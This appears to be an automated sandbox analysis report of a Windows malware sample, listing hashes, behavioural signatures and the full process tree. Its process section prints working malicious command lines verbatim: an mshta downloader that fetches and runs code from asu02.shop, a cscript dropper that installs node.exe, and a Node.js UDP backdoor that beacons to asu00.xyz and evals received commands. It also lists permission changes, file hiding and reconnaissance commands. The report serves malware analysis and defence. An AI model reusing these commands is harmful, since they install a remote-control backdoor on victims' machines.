Analysis
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max time kernel
148s -
max time network
177s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-07-2021 08:09
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210720-060205.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210720-060205.exe
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Size
3KB
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MD5
463127c9a2b5eb1bca799aced10e4954
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SHA1
df78c1cca98d6f260f744a2b0639e1fff1c11a5e
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SHA256
863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af
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SHA512
86c01a90941ad53e7d5c77b64c249bb0b4a69d9cc0f3e3971813464312a80ef6b06caef24cec9e9e194a25f0e667eafb445acbe9ce220830e4681312b498d9a4
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 1136 mshta.exe 4 1960 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1604 node.exe -
Loads dropped DLL 1 IoCs
pid Process 600 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1688 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 1940 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1960 ipconfig.exe 1864 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1052 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\7fc682884c52eb23:ads node.exe File created C:\ProgramData\DNTException\node.exe:bc26d0b6021b066818648ac2400f5f11 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1604 node.exe 1604 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 1940 tasklist.exe Token: SeIncreaseQuotaPrivilege 1788 wmic.exe Token: SeSecurityPrivilege 1788 wmic.exe Token: SeTakeOwnershipPrivilege 1788 wmic.exe Token: SeLoadDriverPrivilege 1788 wmic.exe Token: SeSystemProfilePrivilege 1788 wmic.exe Token: SeSystemtimePrivilege 1788 wmic.exe Token: SeProfSingleProcessPrivilege 1788 wmic.exe Token: SeIncBasePriorityPrivilege 1788 wmic.exe Token: SeCreatePagefilePrivilege 1788 wmic.exe Token: SeBackupPrivilege 1788 wmic.exe Token: SeRestorePrivilege 1788 wmic.exe Token: SeShutdownPrivilege 1788 wmic.exe Token: SeDebugPrivilege 1788 wmic.exe Token: SeSystemEnvironmentPrivilege 1788 wmic.exe Token: SeRemoteShutdownPrivilege 1788 wmic.exe Token: SeUndockPrivilege 1788 wmic.exe Token: SeManageVolumePrivilege 1788 wmic.exe Token: 33 1788 wmic.exe Token: 34 1788 wmic.exe Token: 35 1788 wmic.exe Token: SeIncreaseQuotaPrivilege 1788 wmic.exe Token: SeSecurityPrivilege 1788 wmic.exe Token: SeTakeOwnershipPrivilege 1788 wmic.exe Token: SeLoadDriverPrivilege 1788 wmic.exe Token: SeSystemProfilePrivilege 1788 wmic.exe Token: SeSystemtimePrivilege 1788 wmic.exe Token: SeProfSingleProcessPrivilege 1788 wmic.exe Token: SeIncBasePriorityPrivilege 1788 wmic.exe Token: SeCreatePagefilePrivilege 1788 wmic.exe Token: SeBackupPrivilege 1788 wmic.exe Token: SeRestorePrivilege 1788 wmic.exe Token: SeShutdownPrivilege 1788 wmic.exe Token: SeDebugPrivilege 1788 wmic.exe Token: SeSystemEnvironmentPrivilege 1788 wmic.exe Token: SeRemoteShutdownPrivilege 1788 wmic.exe Token: SeUndockPrivilege 1788 wmic.exe Token: SeManageVolumePrivilege 1788 wmic.exe Token: 33 1788 wmic.exe Token: 34 1788 wmic.exe Token: 35 1788 wmic.exe Token: SeDebugPrivilege 1864 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe 25 PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe 25 PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe 25 PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe 25 PID 1136 wrote to memory of 1520 1136 mshta.exe 27 PID 1136 wrote to memory of 1520 1136 mshta.exe 27 PID 1136 wrote to memory of 1520 1136 mshta.exe 27 PID 1136 wrote to memory of 1520 1136 mshta.exe 27 PID 1520 wrote to memory of 1960 1520 cmd.exe 29 PID 1520 wrote to memory of 1960 1520 cmd.exe 29 PID 1520 wrote to memory of 1960 1520 cmd.exe 29 PID 1520 wrote to memory of 1960 1520 cmd.exe 29 PID 1520 wrote to memory of 304 1520 cmd.exe 31 PID 1520 wrote to memory of 304 1520 cmd.exe 31 PID 1520 wrote to memory of 304 1520 cmd.exe 31 PID 1520 wrote to memory of 304 1520 cmd.exe 31 PID 1520 wrote to memory of 600 1520 cmd.exe 33 PID 1520 wrote to memory of 600 1520 cmd.exe 33 PID 1520 wrote to memory of 600 1520 cmd.exe 33 PID 1520 wrote to memory of 600 1520 cmd.exe 33 PID 600 wrote to memory of 1604 600 cscript.exe 35 PID 600 wrote to memory of 1604 600 cscript.exe 35 PID 600 wrote to memory of 1604 600 cscript.exe 35 PID 600 wrote to memory of 1604 600 cscript.exe 35 PID 1604 wrote to memory of 1664 1604 node.exe 37 PID 1604 wrote to memory of 1664 1604 node.exe 37 PID 1604 wrote to memory of 1664 1604 node.exe 37 PID 1604 wrote to memory of 1664 1604 node.exe 37 PID 1604 wrote to memory of 1684 1604 node.exe 38 PID 1604 wrote to memory of 1684 1604 node.exe 38 PID 1604 wrote to memory of 1684 1604 node.exe 38 PID 1604 wrote to memory of 1684 1604 node.exe 38 PID 1604 wrote to memory of 1688 1604 node.exe 39 PID 1604 wrote to memory of 1688 1604 node.exe 39 PID 1604 wrote to memory of 1688 1604 node.exe 39 PID 1604 wrote to memory of 1688 1604 node.exe 39 PID 1604 wrote to memory of 1084 1604 node.exe 40 PID 1604 wrote to memory of 1084 1604 node.exe 40 PID 1604 wrote to memory of 1084 1604 node.exe 40 PID 1604 wrote to memory of 1084 1604 node.exe 40 PID 1604 wrote to memory of 1880 1604 node.exe 41 PID 1604 wrote to memory of 1880 1604 node.exe 41 PID 1604 wrote to memory of 1880 1604 node.exe 41 PID 1604 wrote to memory of 1880 1604 node.exe 41 PID 1604 wrote to memory of 1940 1604 node.exe 42 PID 1604 wrote to memory of 1940 1604 node.exe 42 PID 1604 wrote to memory of 1940 1604 node.exe 42 PID 1604 wrote to memory of 1940 1604 node.exe 42 PID 1604 wrote to memory of 1788 1604 node.exe 44 PID 1604 wrote to memory of 1788 1604 node.exe 44 PID 1604 wrote to memory of 1788 1604 node.exe 44 PID 1604 wrote to memory of 1788 1604 node.exe 44 PID 1604 wrote to memory of 1960 1604 node.exe 45 PID 1604 wrote to memory of 1960 1604 node.exe 45 PID 1604 wrote to memory of 1960 1604 node.exe 45 PID 1604 wrote to memory of 1960 1604 node.exe 45 PID 1604 wrote to memory of 656 1604 node.exe 46 PID 1604 wrote to memory of 656 1604 node.exe 46 PID 1604 wrote to memory of 656 1604 node.exe 46 PID 1604 wrote to memory of 656 1604 node.exe 46 PID 1604 wrote to memory of 1864 1604 node.exe 47 PID 1604 wrote to memory of 1864 1604 node.exe 47 PID 1604 wrote to memory of 1864 1604 node.exe 47 PID 1604 wrote to memory of 1864 1604 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1084 attrib.exe 1880 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();0;y=unescape('%318%36%7E%68t%74p%3A%2F%2Fa%73u%302%2Es%68o%70%2F%68r%69%2F%3F2%31a%36e%34b%7E1%304').split('~');182;try{x='WinHttp';5;x=new ActiveXObject(x+'.'+x+'Request.5.1');141;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);238;x.send();115;y='ipt.S';143;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);27;}catch(e){};167;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1136 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626768640923.txt & cscript /nologo /e:jscript get1626768640923.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F23501ffe7%26b%3D5332dd77" node.cab & expand node.cab node.exe & del get1626768640923.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626768640923.txt & cscript /nologo /e:jscript get1626768640923.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273501ffe7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626768640923.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768640923.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F23501ffe7%26b%3D5332dd77" node.cab4⤵
- Blocklisted process makes network request
PID:1960
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:304
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768640923.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273501ffe7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:600 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273501ffe7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1604 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1664
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1684
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1688
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:1084
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:1880
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1940
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1788
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1960
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:656
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:1864
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1052
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